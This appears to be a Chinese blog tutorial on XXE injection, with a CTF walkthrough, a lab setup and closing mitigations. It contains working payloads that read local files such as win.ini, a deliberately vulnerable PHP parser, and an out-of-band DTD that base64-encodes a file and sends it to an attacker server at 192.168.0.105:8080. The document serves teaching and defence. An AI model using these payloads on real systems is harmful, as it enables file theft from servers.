标签:line 实体类 lazy nts encode xml文件 测试 文档 system
所谓XXE漏洞实际上可以理解为使用了XML语言的注入漏洞
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。举个通俗的例子:前段跟后端需要交互,两者之间需要传输数据,那么这个用来存储或者说传输数据的语言就是xml(当然,这只是一方面)xml就好比我们买东西做交易时使用的钞票。
接下来我们就可以聊一聊xxe的原理了
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<?xml version=”1.0” encoding="gb2312" encoding=”UTF-8”?> //xml声明、版本、编码 <!DOCTYPE root system "http://www.XXXX.com/file"[ //定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,后面加文件URL,注意[]包裹。 <!ELEMENT root (other)> // 元素声明,声明xml中包含的元素,声明中需要指定元素名称(root、other等)和元素类别、内容等 <!ELEMENT to (#PCDATA)> // <!--定义to元素为”#PCDATA”类型--> <!ENTITY generalentity "content" > //!ENTITY标签用于声明实体,关于实体的定义如下:“实体是用于定义引用普通文本或特殊字符的快捷方式的变量”实体是在DTD文件中定义的变量,xml解析器解析xml文件的时候,会将被的引用替换为实体内容,实体分为:预定义实体、普通实体、参数实体,此处定义了普通实体generalentity,内容为content <!ENTITY % extendentity SYSTEM "http://www.XXXX.com/file"> //定义参数实体,格式为:<!ENTITY % 参数名称 参数内容> 引用格式:%参数名称 参数实体只能在DTD文件中引用,内部DTD文件的参数引用只能出现于DTD标签可出现的位置,外部DTD文件参数实体的引用可以出于DTD标签内容,比如:<!ENTITY % "%another"> %extendentity; //引用参数外部实体
<!--XML声明--> <?xml version="1.0"?> <!--文档类型定义--> <!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型--> ]]]> <!--下面为文档元素--> <note> <to>Dave</to> //调用Dave实体(此步骤不可缺) <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。
参考链接: http://www.w3school.com.cn/dtd/index.asp
首先了解下基本的PAYLOAD结构,然后再介绍每部分涉及的知识点,如下:
PAYLOAD开头进行了XML的声明,然后使用DTD声明实体(这里使用了file协议),最后使用XML获取实体的数据。
1. DTD 内部声明 <!DOCTYPE 根元素 [元素声明]> 2. DTD 外部引用 <!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI"> 3. 引用公共DTD <!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
示例:
<?xml version="1.0"?> <!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN" "http://mybatis.org/dtd/mybatis-3-config.dtd"> ...... 命名方法:以!DOCTYPE开始,configuration是文档根元素名称; PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织; DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号; EN表示DTD语言是英语;最后是DTD的URL;
1. 内部实体声明
<!ENTITY 实体名称 "实体的值">
一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe "oldboyedu.com">]> <foo>&xxe;</foo>
2. 外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
使用外部声明,将攻击者的主机payload传送给受害者
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
3. 参数实体声明
<!ENTITY % 实体名称 "实体的值"> or <!ENTITY % 实体名称 SYSTEM "URI">
实例:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://192.168.0.105:8080/evil.dtd" > %xxe;]> <foo>&evil;</foo>
外部evil.dtd中的内容。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
4. 引用公共实体
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
实体主要分为一下四类
参数实体用%实体名称申明,引用时也用%实体名称;
其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。
xxe的攻击原理就是在以下任一条件时:
如果运维人员使用了低版本php或者其他低版本动态开发语言,那么libxml就可能低于2.9.1
或者程序员设置了libxml_disable_entity_loader(FALSE);
攻击者可以再前段输入精心规划的xml代码,从服务端任意读取或者上传文件。
libxml2.9.1及以后,默认不解析外部实体。测试的时候windows下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。
①使用burpsuit抓包查看accept头是否接受xml(xml或者*/*都表示接受xml)
②是*/*时,将默认content_type接受文件类型改为xml
例如:
jarvisoj上的一道题目API调用
这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。
进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框,我们对其进行抓包
是一个json数据提交,修改数据发现可以被解析
这是一道xxe的题,怎么获取flag?只要将json处改为xml,然后提交xml文档即可(重点是accept为*/*)
Pikachu xxe代码
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://1.txt"> ]> <x>&f;</x>
这里我们演示php的xxe,所以就搭建一个简单的php xxe环境吧
在phpstudy的根目录www下,存入以下代码的xml文件:
xml.php
<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents(‘php://input‘); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>
test.tdt
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM ‘http://192.168.0.105:8080?p=%file;‘>">
可以把这两个文件放入同一个文件夹xxe2中,便于访问操作
然后在c:/下创建一个靶文件1.txt,内容随意
有回显的情况可以使用如下的两种方式进行XXE注入攻击。
①
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> <foo>&xxe;</foo>
②
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %xxe;]> <foo>&evil;</foo>
外部evil.dtd中的内容。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]>
test.dtd的内容(内部的%号要进行实体编码成% ,此test.dtd就是上边我们所创建的test.dtd(注:编码可参考:http://www.mamicode.com/info-detail-1680849.html))
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM ‘http://192.168.0.105:8080?p=%file;‘>">
有报错直接查看报错信息。
无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。
我们清楚的看到日志中接收到了我们用 base64 编码后的敏感文件信息(编码也是为了不破坏原本的XML语法),不编码会报错。
整个调用过程:
我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。???
(运维人员职责,实则主要是升级xml版本)
PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); setFeature("http://xml.org/sax/features/external-general-entities",false) setFeature("http://xml.org/sax/features/external-parameter-entities",false); Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
标签:line 实体类 lazy nts encode xml文件 测试 文档 system
原文地址:https://www.cnblogs.com/dazhu-secure/p/13928516.html